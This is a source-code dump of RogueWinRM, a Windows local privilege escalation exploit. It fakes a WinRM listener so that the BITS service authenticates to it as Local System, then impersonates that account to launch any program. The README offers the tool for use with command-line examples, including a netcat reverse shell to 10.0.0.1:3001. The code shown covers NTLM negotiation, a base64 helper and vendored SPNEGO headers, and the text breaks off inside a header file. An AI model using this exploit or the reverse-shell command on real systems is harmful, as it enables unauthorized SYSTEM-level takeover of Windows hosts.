├── .gitattributes ├── RogueWinRM.vcxproj.user ├── base64.h ├── LocalNegotiator.h ├── RogueWinRM.vcxproj.filters ├── RogueWinRM.sln ├── README.md ├── LocalNegotiator.cpp ├── base64.cpp ├── spnegotokenhandler ├── spnegoparse.h ├── spnego.h ├── derparse.h ├── derparse.c ├── spnego.c └── spnegoparse.c ├── RogueWinRM.vcxproj ├── RogueWinRM.cpp └── LICENSE /.gitattributes: -------------------------------------------------------------------------------- 1 | spnegotokenhandler/* linguist-vendored 2 | -------------------------------------------------------------------------------- /RogueWinRM.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /base64.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | char* base64_encode(const unsigned char*, size_t, size_t*); 3 | unsigned char* base64_decode(const char*, size_t, size_t*); 4 | void build_decoding_table(); 5 | void base64_cleanup(); -------------------------------------------------------------------------------- /LocalNegotiator.h: -------------------------------------------------------------------------------- 1 | #define SECURITY_WIN32 2 | 3 | #pragma once 4 | #include 5 | #include 6 | 7 | #pragma comment (lib, "Secur32.Lib") 8 | 9 | class LocalNegotiator 10 | { 11 | public: 12 | LocalNegotiator(); 13 | int handleType1(char* ntlmBytes, int len); 14 | int handleType3(char* ntlmBytes, int len); 15 | char* returnType2(unsigned long*); 16 | PCtxtHandle phContext; 17 | int authResult; 18 | 19 | private: 20 | CredHandle hCred; 21 | SecBufferDesc secClientBufferDesc, secServerBufferDesc; 22 | SecBuffer secClientBuffer, secServerBuffer; 23 | }; 24 | 25 | -------------------------------------------------------------------------------- /RogueWinRM.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | spnegotokenhandler 9 | 10 | 11 | spnegotokenhandler 12 | 13 | 14 | spnegotokenhandler 15 | 16 | 17 | 18 | 19 | 20 | 21 | spnegotokenhandler 22 | 23 | 24 | spnegotokenhandler 25 | 26 | 27 | spnegotokenhandler 28 | 29 | 30 | 31 | 32 | {676a000f-a4e1-4697-9eb7-3ef89d7dc2a0} 33 | 34 | 35 | -------------------------------------------------------------------------------- /RogueWinRM.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29230.47 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "RogueWinRM", "RogueWinRM.vcxproj", "{B03A3AF9-9448-43FE-8CEE-5A2C43BFAC86}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {B03A3AF9-9448-43FE-8CEE-5A2C43BFAC86}.Debug|x64.ActiveCfg = Debug|x64 17 | {B03A3AF9-9448-43FE-8CEE-5A2C43BFAC86}.Debug|x64.Build.0 = Debug|x64 18 | {B03A3AF9-9448-43FE-8CEE-5A2C43BFAC86}.Debug|x86.ActiveCfg = Debug|Win32 19 | {B03A3AF9-9448-43FE-8CEE-5A2C43BFAC86}.Debug|x86.Build.0 = Debug|Win32 20 | {B03A3AF9-9448-43FE-8CEE-5A2C43BFAC86}.Release|x64.ActiveCfg = Release|x64 21 | {B03A3AF9-9448-43FE-8CEE-5A2C43BFAC86}.Release|x64.Build.0 = Release|x64 22 | {B03A3AF9-9448-43FE-8CEE-5A2C43BFAC86}.Release|x86.ActiveCfg = Release|Win32 23 | {B03A3AF9-9448-43FE-8CEE-5A2C43BFAC86}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {1AEBEBE9-97B2-4942-9297-7837D3B86506} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # RogueWinRM 2 | 3 | RogueWinRM is a local privilege escalation exploit that allows to escalate from a Service account (with SeImpersonatePrivilege) to Local System account if WinRM service is not running (**default on Win10 but NOT on Windows Server 2019**). 4 | 5 | Briefly, it will listen for incoming connection on port 5985 faking a real WinRM service.
6 | It's just a minimal webserver that will try to negotiate an NTLM authentication with any service that are trying to connect on that port.
7 | Then the BITS service (running as Local System) is triggered and it will try to authenticate to our rogue listener. Once authenticated to our rogue listener, we are able to impersonate the Local System user spawning an arbitrary process with those privileges. 8 | 9 | You can find a full technical description of this vulnerability at this link --> https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/ 10 | 11 | # Usage 12 | 13 | ``` 14 | RogueWinRM 15 | 16 | Mandatory args: 17 | -p : program to launch 18 | 19 | Optional args: 20 | -a : command line argument to pass to program (default NULL) 21 | -l : listening port (default 5985 WinRM) 22 | -d : Enable Debugging output 23 | ``` 24 | 25 | # Examples 26 | 27 | ![RogueWinRM](https://decoderblogblog.files.wordpress.com/2019/12/exploit-1.png) 28 | 29 | Running an interactive cmd: 30 | 31 | ``` 32 | RogueWinRM.exe -p C:\windows\system32\cmd.exe 33 | ``` 34 | 35 | Running netcat reverse shell: 36 | 37 | ``` 38 | RogueWinRM.exe -p C:\windows\temp\nc64.exe -a "10.0.0.1 3001 -e cmd" 39 | ``` 40 | 41 | # Authors 42 | 43 | * [Antonio Cocomazzi](https://twitter.com/splinter_code) 44 | * [Andrea Pierini](https://twitter.com/decoder_it) 45 | * Roberto (0xea31) 46 | -------------------------------------------------------------------------------- /LocalNegotiator.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "LocalNegotiator.h" 3 | #include 4 | 5 | LocalNegotiator::LocalNegotiator() 6 | { 7 | authResult = -1; 8 | } 9 | 10 | void InitTokenContextBuffer(PSecBufferDesc pSecBufferDesc, PSecBuffer pSecBuffer) 11 | { 12 | pSecBuffer->BufferType = SECBUFFER_TOKEN; 13 | pSecBuffer->cbBuffer = 0; 14 | pSecBuffer->pvBuffer = nullptr; 15 | 16 | pSecBufferDesc->ulVersion = SECBUFFER_VERSION; 17 | pSecBufferDesc->cBuffers = 1; 18 | pSecBufferDesc->pBuffers = pSecBuffer; 19 | } 20 | 21 | int LocalNegotiator::handleType1(char* ntlmBytes, int len) 22 | { 23 | //printf("\n--handleType1 start --\n"); 24 | TCHAR lpPackageName[1024] = L"Negotiate"; 25 | TimeStamp ptsExpiry; 26 | 27 | int status = AcquireCredentialsHandle( 28 | NULL, 29 | lpPackageName, 30 | SECPKG_CRED_INBOUND, 31 | NULL, 32 | NULL, 33 | 0, 34 | NULL, 35 | &hCred, 36 | &ptsExpiry); 37 | 38 | if (status != SEC_E_OK) 39 | { 40 | printf("Error in AquireCredentialsHandle"); 41 | return -1; 42 | } 43 | 44 | InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer); 45 | InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer); 46 | 47 | phContext = new CtxtHandle(); 48 | 49 | secClientBuffer.cbBuffer = static_cast(len); 50 | secClientBuffer.pvBuffer = ntlmBytes; 51 | 52 | ULONG fContextAttr; 53 | TimeStamp tsContextExpiry; 54 | 55 | status = AcceptSecurityContext( 56 | &hCred, 57 | nullptr, 58 | &secClientBufferDesc, 59 | ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION, 60 | //STANDARD_CONTEXT_ATTRIBUTES, 61 | SECURITY_NATIVE_DREP, 62 | phContext, 63 | &secServerBufferDesc, 64 | &fContextAttr, 65 | &tsContextExpiry); 66 | 67 | //printf("\n-- Result of AcceptSecurityContext() = status: 0x%x--\n", status); 68 | //printf("\n--handleType1 end --\n"); 69 | return status; 70 | } 71 | 72 | 73 | int LocalNegotiator::handleType3(char* ntlmBytes, int len) 74 | { 75 | //printf("\n--handleType3 start --\n"); 76 | 77 | InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer); 78 | InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer); 79 | 80 | secClientBuffer.cbBuffer = static_cast(len); 81 | secClientBuffer.pvBuffer = ntlmBytes; 82 | 83 | ULONG fContextAttr; 84 | TimeStamp tsContextExpiry; 85 | int status = AcceptSecurityContext( 86 | &hCred, 87 | phContext, 88 | &secClientBufferDesc, 89 | ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION, 90 | //STANDARD_CONTEXT_ATTRIBUTES, 91 | SECURITY_NATIVE_DREP, 92 | phContext, 93 | &secServerBufferDesc, 94 | &fContextAttr, 95 | &tsContextExpiry); 96 | 97 | authResult = status; 98 | 99 | //printf("\n-- Result of AcceptSecurityContext() = status: 0x%x--\n", status); 100 | //printf("\n--handleType3 end --\n"); 101 | return status; 102 | } 103 | 104 | char* LocalNegotiator::returnType2(unsigned long* outbuffer_len) { 105 | *outbuffer_len = secServerBuffer.cbBuffer; 106 | return (char*)secServerBuffer.pvBuffer; 107 | } 108 | -------------------------------------------------------------------------------- /base64.cpp: -------------------------------------------------------------------------------- 1 | #include "base64.h" 2 | #include 3 | #include 4 | 5 | 6 | static char encoding_table[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 7 | 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 8 | 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 9 | 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 10 | 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 11 | 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 12 | 'w', 'x', 'y', 'z', '0', '1', '2', '3', 13 | '4', '5', '6', '7', '8', '9', '+', '/' }; 14 | static char* decoding_table = NULL; 15 | static int mod_table[] = { 0, 2, 1 }; 16 | 17 | 18 | 19 | void build_decoding_table() { 20 | 21 | decoding_table = (char*)malloc(256); 22 | 23 | for (int i = 0; i < 64; i++) 24 | decoding_table[(unsigned char)encoding_table[i]] = i; 25 | } 26 | 27 | 28 | void base64_cleanup() { 29 | free(decoding_table); 30 | } 31 | 32 | char* base64_encode(const unsigned char* data, 33 | size_t input_length, 34 | size_t* output_length) { 35 | 36 | *output_length = 4 * ((input_length + 2) / 3); 37 | 38 | char* encoded_data = (char*)malloc(*output_length); 39 | if (encoded_data == NULL) return NULL; 40 | 41 | for (int i = 0, j = 0; i < input_length;) { 42 | 43 | uint32_t octet_a = i < input_length ? (unsigned char)data[i++] : 0; 44 | uint32_t octet_b = i < input_length ? (unsigned char)data[i++] : 0; 45 | uint32_t octet_c = i < input_length ? (unsigned char)data[i++] : 0; 46 | 47 | uint32_t triple = (octet_a << 0x10) + (octet_b << 0x08) + octet_c; 48 | 49 | encoded_data[j++] = encoding_table[(triple >> 3 * 6) & 0x3F]; 50 | encoded_data[j++] = encoding_table[(triple >> 2 * 6) & 0x3F]; 51 | encoded_data[j++] = encoding_table[(triple >> 1 * 6) & 0x3F]; 52 | encoded_data[j++] = encoding_table[(triple >> 0 * 6) & 0x3F]; 53 | } 54 | 55 | for (int i = 0; i < mod_table[input_length % 3]; i++) 56 | encoded_data[*output_length - 1 - i] = '='; 57 | 58 | return encoded_data; 59 | } 60 | 61 | 62 | unsigned char* base64_decode(const char* data, 63 | size_t input_length, 64 | size_t* output_length) { 65 | 66 | if (decoding_table == NULL) build_decoding_table(); 67 | 68 | if (input_length % 4 != 0) return NULL; 69 | 70 | *output_length = input_length / 4 * 3; 71 | if (data[input_length - 1] == '=') (*output_length)--; 72 | if (data[input_length - 2] == '=') (*output_length)--; 73 | 74 | unsigned char* decoded_data = (unsigned char*)malloc(*output_length); 75 | if (decoded_data == NULL) return NULL; 76 | 77 | for (int i = 0, j = 0; i < input_length;) { 78 | 79 | uint32_t sextet_a = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]]; 80 | uint32_t sextet_b = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]]; 81 | uint32_t sextet_c = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]]; 82 | uint32_t sextet_d = data[i] == '=' ? 0 & i++ : decoding_table[data[i++]]; 83 | 84 | uint32_t triple = (sextet_a << 3 * 6) 85 | + (sextet_b << 2 * 6) 86 | + (sextet_c << 1 * 6) 87 | + (sextet_d << 0 * 6); 88 | 89 | if (j < *output_length) decoded_data[j++] = (triple >> 2 * 8) & 0xFF; 90 | if (j < *output_length) decoded_data[j++] = (triple >> 1 * 8) & 0xFF; 91 | if (j < *output_length) decoded_data[j++] = (triple >> 0 * 8) & 0xFF; 92 | } 93 | 94 | return decoded_data; 95 | } -------------------------------------------------------------------------------- /spnegotokenhandler/spnegoparse.h: -------------------------------------------------------------------------------- 1 | // Copyright (C) 2002 Microsoft Corporation 2 | // All rights reserved. 3 | // 4 | // THIS CODE AND INFORMATION IS PROVIDED "AS IS" 5 | // WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 6 | // OR IMPLIED, INCLUDING BUT NOT LIMITED 7 | // TO THE IMPLIED WARRANTIES OF MERCHANTIBILITY 8 | // AND/OR FITNESS FOR A PARTICULAR PURPOSE. 9 | // 10 | // Date - 10/08/2002 11 | // Author - Sanj Surati 12 | 13 | ///////////////////////////////////////////////////////////// 14 | // 15 | // SPNEGOPARSE.H 16 | // 17 | // SPNEGO Token Parser Header File 18 | // 19 | // Contains the definitions required to properly parse a 20 | // SPNEGO token using ASN.1 DER helpers. 21 | // 22 | ///////////////////////////////////////////////////////////// 23 | 24 | #ifndef __SPNEGOPARSE_H__ 25 | #define __SPNEGOPARSE_H__ 26 | 27 | // C++ Specific 28 | #if defined(__cplusplus) 29 | extern "C" 30 | { 31 | #endif 32 | 33 | // Indicates if we copy data when creating a SPNEGO_TOKEN structure or not 34 | #define SPNEGO_TOKEN_INTERNAL_COPYPTR 0 35 | #define SPNEGO_TOKEN_INTERNAL_COPYDATA 0x1 36 | 37 | // Internal flag dictates whether or not we will free the binary data when 38 | // the SPNEG_TOKEN structure is destroyed 39 | #define SPNEGO_TOKEN_INTERNAL_FLAGS_FREEDATA 0x1 40 | 41 | // 42 | // Each SPNEGO Token Type can be broken down into a 43 | // maximum of 4 separate elements. 44 | // 45 | 46 | #define MAX_NUM_TOKEN_ELEMENTS 4 47 | 48 | // 49 | // Element offsets in the array 50 | // 51 | 52 | // INIT elements 53 | #define SPNEGO_INIT_MECHTYPES_ELEMENT 0 54 | #define SPNEGO_INIT_REQFLAGS_ELEMENT 1 55 | #define SPNEGO_INIT_MECHTOKEN_ELEMENT 2 56 | #define SPNEGO_INIT_MECHLISTMIC_ELEMENT 3 57 | 58 | // Response elements 59 | #define SPNEGO_TARG_NEGRESULT_ELEMENT 0 60 | #define SPNEGO_TARG_SUPPMECH_ELEMENT 1 61 | #define SPNEGO_TARG_RESPTOKEN_ELEMENT 2 62 | #define SPNEGO_TARG_MECHLISTMIC_ELEMENT 3 63 | 64 | // 65 | // Defines an individual SPNEGO Token Element. 66 | // 67 | 68 | typedef struct SpnegoElement 69 | { 70 | size_t nStructSize; // Size of the element structure 71 | int iElementPresent; // Is the field present? Must be either 72 | // SPNEGO_TOKEN_ELEMENT_UNAVAILABLE or 73 | // SPNEGO_TOKEN_ELEMENT_AVAILABLE 74 | 75 | SPNEGO_ELEMENT_TYPE eElementType; // The Element Type 76 | 77 | unsigned char type; // Data Type 78 | 79 | unsigned char* pbData; // Points to actual Data 80 | 81 | unsigned long nDatalength; // Actual Data Length 82 | 83 | } SPNEGO_ELEMENT; 84 | 85 | // Structure size in case we later choose to extend the structure 86 | #define SPNEGO_ELEMENT_SIZE sizeof(SPNEGO_ELEMENT) 87 | 88 | // 89 | // Packages a SPNEGO Token Encoding. There are two types of 90 | // encodings: NegTokenInit and NegTokenTarg. Each encoding can 91 | // contain up to four distinct, optional elements. 92 | // 93 | 94 | typedef struct SpnegoToken 95 | { 96 | size_t nStructSize; // Size of the Token structure 97 | unsigned long ulFlags; // Internal Structure Flags - Reserved! 98 | int ucTokenType; // Token Type - Must be 99 | // SPNEGO_TOKEN_INIT or 100 | // SPNEGO_TOKEN_TARG 101 | 102 | unsigned char* pbBinaryData; // Points to binary token data 103 | 104 | unsigned long ulBinaryDataLen; // Length of the actual binary data 105 | int nNumElements; // Number of elements 106 | SPNEGO_ELEMENT aElementArray[MAX_NUM_TOKEN_ELEMENTS]; // Holds the elements for the token 107 | } SPNEGO_TOKEN; 108 | 109 | // Structure size in case we later choose to extend the structure 110 | #define SPNEGO_TOKEN_SIZE sizeof(SPNEGO_TOKEN) 111 | 112 | // 113 | // Function definitions 114 | // 115 | 116 | SPNEGO_TOKEN* AllocEmptySpnegoToken(unsigned char ucCopyData, unsigned long ulFlags, 117 | unsigned char* pbTokenData, unsigned long ulTokenSize); 118 | void FreeSpnegoToken(SPNEGO_TOKEN* pSpnegoToken); 119 | void InitSpnegoTokenElementArray(SPNEGO_TOKEN* pSpnegoToken); 120 | int InitSpnegoTokenType(SPNEGO_TOKEN* pSpnegoToken, long* pnTokenLength, 121 | long* pnRemainingTokenLength, unsigned char** ppbFirstElement); 122 | int InitSpnegoTokenElements(SPNEGO_TOKEN* pSpnegoToken, unsigned char* pbTokenData, 123 | long nRemainingTokenLength); 124 | int GetSpnegoInitTokenMechList(unsigned char* pbTokenData, int nMechListLength, 125 | SPNEGO_ELEMENT* pSpnegoElement); 126 | int InitSpnegoTokenElementFromBasicType(unsigned char* pbTokenData, int nElementLength, 127 | unsigned char ucExpectedType, 128 | SPNEGO_ELEMENT_TYPE spnegoElementType, 129 | SPNEGO_ELEMENT* pSpnegoElement); 130 | int InitSpnegoTokenElementFromOID(unsigned char* pbTokenData, int nElementLength, 131 | SPNEGO_ELEMENT_TYPE spnegoElementType, 132 | SPNEGO_ELEMENT* pSpnegoElement); 133 | int FindMechOIDInMechList(SPNEGO_ELEMENT* pSpnegoElement, SPNEGO_MECH_OID MechOID, 134 | int* piMechTypeIndex); 135 | int ValidateMechList(unsigned char* pbMechListData, long nBoundaryLength); 136 | int CalculateMinSpnegoInitTokenSize(long nMechTokenLength, long nMechListMICLength, 137 | SPNEGO_MECH_OID mechOid, int nReqFlagsAvailable, 138 | long* plTokenSize, long* plInternalLength); 139 | int CalculateMinSpnegoTargTokenSize(SPNEGO_MECH_OID MechType, SPNEGO_NEGRESULT spnegoNegResult, 140 | long nMechTokenLen, 141 | long nMechTokenMIC, long* pnTokenSize, 142 | long* pnInternalTokenLength); 143 | int CreateSpnegoInitToken(SPNEGO_MECH_OID MechType, 144 | unsigned char ucContextFlags, unsigned char* pbMechToken, 145 | unsigned long ulMechTokenLen, unsigned char* pbMechListMIC, 146 | unsigned long ulMechListMICLen, unsigned char* pbTokenData, 147 | long nTokenLength, long nInternalTokenLength); 148 | int CreateSpnegoTargToken(SPNEGO_MECH_OID MechType, 149 | SPNEGO_NEGRESULT eNegResult, unsigned char* pbMechToken, 150 | unsigned long ulMechTokenLen, unsigned char* pbMechListMIC, 151 | unsigned long ulMechListMICLen, unsigned char* pbTokenData, 152 | long nTokenLength, long nInternalTokenLength); 153 | int IsValidMechOid(SPNEGO_MECH_OID mechOid); 154 | int IsValidContextFlags(unsigned char ucContextFlags); 155 | int IsValidNegResult(SPNEGO_NEGRESULT negResult); 156 | int IsValidSpnegoToken(SPNEGO_TOKEN* pSpnegoToken); 157 | int IsValidSpnegoElement(SPNEGO_TOKEN* pSpnegoToken, SPNEGO_ELEMENT_TYPE spnegoElement); 158 | int CalculateElementArrayIndex(SPNEGO_TOKEN* pSpnegoToken, SPNEGO_ELEMENT_TYPE spnegoElement); 159 | int InitTokenFromBinary(unsigned char ucCopyData, unsigned long ulFlags, 160 | unsigned char* pbTokenData, unsigned long ulLength, 161 | SPNEGO_TOKEN** ppSpnegoToken); 162 | 163 | // C++ Specific 164 | #if defined(__cplusplus) 165 | } 166 | #endif 167 | 168 | #endif -------------------------------------------------------------------------------- /spnegotokenhandler/spnego.h: -------------------------------------------------------------------------------- 1 | // Copyright (C) 2002 Microsoft Corporation 2 | // All rights reserved. 3 | // 4 | // THIS CODE AND INFORMATION IS PROVIDED "AS IS" 5 | // WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 6 | // OR IMPLIED, INCLUDING BUT NOT LIMITED 7 | // TO THE IMPLIED WARRANTIES OF MERCHANTIBILITY 8 | // AND/OR FITNESS FOR A PARTICULAR PURPOSE. 9 | // 10 | // Date - 10/08/2002 11 | // Author - Sanj Surati 12 | 13 | ///////////////////////////////////////////////////////////// 14 | // 15 | // SPNEGO.H 16 | // 17 | // SPNEGO Token Handler Header File 18 | // 19 | // Contains the definitions required to interpret and create 20 | // SPNEGO tokens so that Kerberos GSS tokens can be 21 | // Unpackaged/packaged. 22 | // 23 | ///////////////////////////////////////////////////////////// 24 | 25 | #ifndef __SPNEGO_H__ 26 | #define __SPNEGO_H__ 27 | 28 | // C++ Specific 29 | #if defined(__cplusplus) 30 | extern "C" 31 | { 32 | #endif 33 | 34 | // Type Definitions 35 | 36 | // 37 | // Users of SPNEGO Token Handler API will request 38 | // these as well as free them, 39 | // 40 | typedef void* SPNEGO_TOKEN_HANDLE; 41 | 42 | // 43 | // Defines the element types that are found 44 | // in each of the tokens. 45 | // 46 | 47 | typedef enum spnego_element_type 48 | { 49 | spnego_element_min, // Lower bound 50 | 51 | // Init token elements 52 | spnego_init_mechtypes, 53 | spnego_init_reqFlags, 54 | spnego_init_mechToken, 55 | spnego_init_mechListMIC, 56 | 57 | // Targ token elements 58 | spnego_targ_negResult, 59 | spnego_targ_supportedMech, 60 | spnego_targ_responseToken, 61 | spnego_targ_mechListMIC, 62 | 63 | spnego_element_max // Upper bound 64 | 65 | } SPNEGO_ELEMENT_TYPE; 66 | 67 | // 68 | // Token Element Availability. Elements in both 69 | // token types are optional. Since there are only 70 | // 4 elements in each Token, we will allocate space 71 | // to hold the information, but we need a way to 72 | // indicate whether or not an element is available 73 | // 74 | 75 | #define SPNEGO_TOKEN_ELEMENT_UNAVAILABLE 0 76 | #define SPNEGO_TOKEN_ELEMENT_AVAILABLE 1 77 | 78 | // 79 | // Token type values. SPNEGO has 2 token types: 80 | // NegTokenInit and NegTokenTarg 81 | // 82 | 83 | #define SPNEGO_TOKEN_INIT 0 84 | #define SPNEGO_TOKEN_TARG 1 85 | 86 | // 87 | // GSS Mechanism OID enumeration. We only really handle 88 | // 3 different OIDs. These are stored in an array structure 89 | // defined in the parsing code. 90 | // 91 | 92 | typedef enum spnego_mech_oid 93 | { 94 | // Init token elements 95 | spnego_mech_oid_Kerberos_V5_Legacy, // Really V5, but OID off by 1 bit 96 | spnego_mech_oid_Kerberos_V5, 97 | spnego_mech_oid_Spnego, 98 | spnego_mech_oid_NTLMSSP, 99 | spnego_mech_oid_NotUsed = -1 100 | 101 | } SPNEGO_MECH_OID; 102 | 103 | // 104 | // Defines the negResult values. 105 | // 106 | 107 | typedef enum spnego_negResult 108 | { 109 | spnego_negresult_success, 110 | spnego_negresult_incomplete, 111 | spnego_negresult_rejected, 112 | spnego_negresult_NotUsed = -1 113 | } SPNEGO_NEGRESULT; 114 | 115 | // 116 | // Context Flags in NegTokenInit 117 | // 118 | 119 | // 120 | // ContextFlags values MUST be zero or a combination 121 | // of the below 122 | // 123 | 124 | #define SPNEGO_NEGINIT_CONTEXT_DELEG_FLAG 0x80 125 | #define SPNEGO_NEGINIT_CONTEXT_MUTUAL_FLAG 0x40 126 | #define SPNEGO_NEGINIT_CONTEXT_REPLAY_FLAG 0x20 127 | #define SPNEGO_NEGINIT_CONTEXT_SEQUENCE_FLAG 0x10 128 | #define SPNEGO_NEGINIT_CONTEXT_ANON_FLAG 0x8 129 | #define SPNEGO_NEGINIT_CONTEXT_CONF_FLAG 0x4 130 | #define SPNEGO_NEGINIT_CONTEXT_INTEG_FLAG 0x2 131 | 132 | // 133 | // Mask to retrieve valid values. 134 | // 135 | 136 | #define SPNEGO_NEGINIT_CONTEXT_MASK 0xFE // Logical combination of above flags 137 | 138 | // 139 | // SPNEGO API return codes. 140 | // 141 | 142 | // API function was successful 143 | #define SPNEGO_E_SUCCESS 0 144 | 145 | // The supplied Token was invalid 146 | #define SPNEGO_E_INVALID_TOKEN -1 147 | 148 | // An invalid length was encountered 149 | #define SPNEGO_E_INVALID_LENGTH -2 150 | 151 | // The Token Parse failed 152 | #define SPNEGO_E_PARSE_FAILED -3 153 | 154 | // The requested value was not found 155 | #define SPNEGO_E_NOT_FOUND -4 156 | 157 | // The requested element is not available 158 | #define SPNEGO_E_ELEMENT_UNAVAILABLE -5 159 | 160 | // Out of Memory 161 | #define SPNEGO_E_OUT_OF_MEMORY -6 162 | 163 | // Not Implemented 164 | #define SPNEGO_E_NOT_IMPLEMENTED -7 165 | 166 | // Invalid Parameter 167 | #define SPNEGO_E_INVALID_PARAMETER -8 168 | 169 | // Token Handler encountered an unexpected OID 170 | #define SPNEGO_E_UNEXPECTED_OID -9 171 | 172 | // The requested token was not found 173 | #define SPNEGO_E_TOKEN_NOT_FOUND -10 174 | 175 | // An unexpected type was encountered in the encoding 176 | #define SPNEGO_E_UNEXPECTED_TYPE -11 177 | 178 | // The buffer was too small 179 | #define SPNEGO_E_BUFFER_TOO_SMALL -12 180 | 181 | // A Token Element was invalid (e.g. improper length or value) 182 | #define SPNEGO_E_INVALID_ELEMENT -13 183 | 184 | /* Miscelaneous API Functions */ 185 | 186 | // Frees opaque data 187 | void spnegoFreeData(SPNEGO_TOKEN_HANDLE hSpnegoToken); 188 | 189 | // Initializes SPNEGO_TOKEN structure from DER encoded binary data 190 | int spnegoInitFromBinary(unsigned char* pbTokenData, unsigned long ulLength, SPNEGO_TOKEN_HANDLE* phSpnegoToken); 191 | 192 | // Initializes SPNEGO_TOKEN structure for a NegTokenInit type using the 193 | // supplied parameters 194 | int spnegoCreateNegTokenInit(SPNEGO_MECH_OID MechType, 195 | unsigned char ucContextFlags, unsigned char* pbMechToken, 196 | unsigned long ulMechTokenLen, unsigned char* pbMechTokenMIC, 197 | unsigned long ulMechTokenMIC, SPNEGO_TOKEN_HANDLE* phSpnegoToken); 198 | 199 | // Initializes SPNEGO_TOKEN structure for a NegTokenTarg type using the 200 | // supplied parameters 201 | int spnegoCreateNegTokenTarg(SPNEGO_MECH_OID MechType, 202 | SPNEGO_NEGRESULT spnegoNegResult, unsigned char* pbMechToken, 203 | unsigned long ulMechTokenLen, unsigned char* pbMechListMIC, 204 | unsigned long ulMechListMICLen, SPNEGO_TOKEN_HANDLE* phSpnegoToken); 205 | 206 | // Copies binary representation of SPNEGO Data into user supplied buffer 207 | int spnegoTokenGetBinary(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pbTokenData, 208 | unsigned long* pulDataLen); 209 | 210 | // Returns SPNEGO Token Type 211 | int spnegoGetTokenType(SPNEGO_TOKEN_HANDLE hSpnegoToken, int* piTokenType); 212 | 213 | /* Reading an Init Token */ 214 | 215 | // Returns the Initial Mech Type in the MechList element in the NegInitToken. 216 | int spnegoIsMechTypeAvailable(SPNEGO_TOKEN_HANDLE hSpnegoToken, SPNEGO_MECH_OID MechOID, int* piMechTypeIndex); 217 | 218 | // Returns the value from the context flags element in the NegInitToken as an unsigned long 219 | int spnegoGetContextFlags(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pucContextFlags); 220 | 221 | /* Reading a Response Token */ 222 | 223 | // Returns the value from the negResult element (Status code of GSS call - 0,1,2) 224 | int spnegoGetNegotiationResult(SPNEGO_TOKEN_HANDLE hSpnegoToken, SPNEGO_NEGRESULT* pnegResult); 225 | 226 | // Returns the Supported Mech Type from the NegTokenTarg. 227 | int spnegoGetSupportedMechType(SPNEGO_TOKEN_HANDLE hSpnegoToken, SPNEGO_MECH_OID* pMechOID); 228 | 229 | /* Reading either Token Type */ 230 | 231 | // Returns the actual Mechanism data from the token (this is what is passed into GSS-API functions 232 | int spnegoGetMechToken(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pbTokenData, unsigned long* pulDataLen); 233 | 234 | // Returns the Message Integrity BLOB in the token 235 | int spnegoGetMechListMIC(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pbMICData, unsigned long* pulDataLen); 236 | 237 | // C++ Specific 238 | #if defined(__cplusplus) 239 | } 240 | #endif 241 | 242 | #endif 243 | -------------------------------------------------------------------------------- /spnegotokenhandler/derparse.h: -------------------------------------------------------------------------------- 1 | // Copyright (C) 2002 Microsoft Corporation 2 | // All rights reserved. 3 | // 4 | // THIS CODE AND INFORMATION IS PROVIDED "AS IS" 5 | // WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 6 | // OR IMPLIED, INCLUDING BUT NOT LIMITED 7 | // TO THE IMPLIED WARRANTIES OF MERCHANTIBILITY 8 | // AND/OR FITNESS FOR A PARTICULAR PURPOSE. 9 | // 10 | // Date - 10/08/2002 11 | // Author - Sanj Surati 12 | 13 | ///////////////////////////////////////////////////////////// 14 | // 15 | // DERPARSE.H 16 | // 17 | // SPNEGO Token Handler Header File 18 | // 19 | // Contains the definitions required to properly parse the 20 | // SPNEGO DER encoding. 21 | // 22 | ///////////////////////////////////////////////////////////// 23 | 24 | #ifndef __DERPARSE_H__ 25 | #define __DERPARSE_H__ 26 | 27 | // C++ Specific 28 | #if defined(__cplusplus) 29 | extern "C" 30 | { 31 | #endif 32 | 33 | /* Identifier Types */ 34 | #define IDENTIFIER_MASK 0xC0 // Bits 7 and 8 35 | #define IDENTIFIER_UNIVERSAL 0x00 // 00 = universal 36 | #define IDENTIFIER_APPLICATION 0x40 // 01 = application 37 | 